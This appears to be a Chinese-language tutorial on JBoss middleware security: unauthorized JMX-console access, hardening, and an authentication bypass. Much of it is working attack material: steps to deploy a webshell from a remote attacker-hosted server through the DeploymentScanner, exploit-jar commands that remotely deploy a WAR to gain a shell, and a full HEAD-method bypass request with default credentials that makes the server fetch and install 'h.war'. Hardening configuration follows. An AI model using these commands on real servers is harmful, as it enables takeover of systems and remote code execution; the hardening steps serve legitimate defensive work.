WEB中間件--Jboss未授權訪問，加固，繞過

1，Jboss未授權訪問部署木馬

發現存在Jboss默認頁面，點進控制頁

點擊 Jboss.deployment 進入應用部署頁面
也可以直接輸入此URL進入

http://www.ctfswiki.com:8080//jmxconsole/HtmlAdaptoraction=inspectMBean&name=jboss.deployment:type=DeploymentScanner,flavor=URL

搭建遠程木馬服務器，可以用apache等web服務器來搭建,通過addurl參數進行木馬的遠程部署

部署成功，訪問木馬地址

最后附上一個jboss未授權訪問EXP，備用，使用說明

1. 查看系統名稱

java -jar jboss_exploit_fat.jar -i http://www.any.com:8080/invoker/JMXInvokerServlet get jboss.system:type=ServerInfo OSName

2. 查看系統版本

java -jar jboss_exploit_fat.jar -i http://www.any.com:8080/invoker/JMXInvokerServlet get jboss.system:type=ServerInfo OSVersion


3.遠程部署war

java -jar jboss_exploit_fat.jar -i http://www.any.com:8080/invoker/JMXInvokerServlet invoke jboss.system:service=MainDeployer deploy http://192.168.20.10/no.war

獲得shell地址:
www.any.com:8080/no/index.jsp

2.jboss加固

（1）目錄

C:\Program Files\Java\jboss-4.2.3.GA\server\default\deploy\jmx-console.war\WEB-INF
下的 jboss-web.xml
把 security-domain 注釋去掉。

web.xml
把 GET 和 POST 兩行注釋掉，同時 security-constraint 整個部分不要注釋掉,不然存在head頭繞過

<security-constraint>   
      <web-resource-collection>   
             <web-resource-name>HtmlAdaptor</web-resource-name>  
             <description>An example security config that only allows users                             with the role JBossAdmin to access the HTML JMX console web         application </description>               
              <url-pattern>/*</url-pattern>   
              <!-<http-method>GET</http-method>   
                   <http-method>POST</http-method> -->  
             </web-resource-collection>   
             <auth-constraint>   
                   <role-name>JBossAdmin</role-name>   
             </auth-constraint>   
</security-constraint>  

（2）目錄

C:\Program Files\Java\jboss-4.2.3.GA\server\default\conf\props\jbossws-users.properties
加上登錄用戶名密碼

3.jboss head繞過上傳

數據包

HEAD YWRtaW46YWRtaW4=/jmx-console/HtmlAdaptor?action=invokeOp&name=jboss.deployment:type=DeploymentScanner,flavor=URL&methodIndex=7&arg0=http://192.168.91.139/h.war  HTTP/1.1
Host: 192.168.91.108:8080
Proxy-Connection: keep-alive
Cache-Control: max-age=0
Origin: http://192.168.91.108:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
DNT: 1
Referer: http://192.168.91.108:8080/jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.deployment:type=DeploymentScanner,flavor=URL
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Length: 4

jboss invoke接口修復

C:\Program Files\Java\jboss-4.2.3.GA\server\default\deploy\http-invoker.sar\invoker.war\WEB-INF

server/$CONFIG/deploy/http-invoker.sar/http-invoker.war/WEB-INF/w
eb.xml 文件，將 標簽中的
url-pattern 修改為/*，並注釋掉其中的兩個 http-method。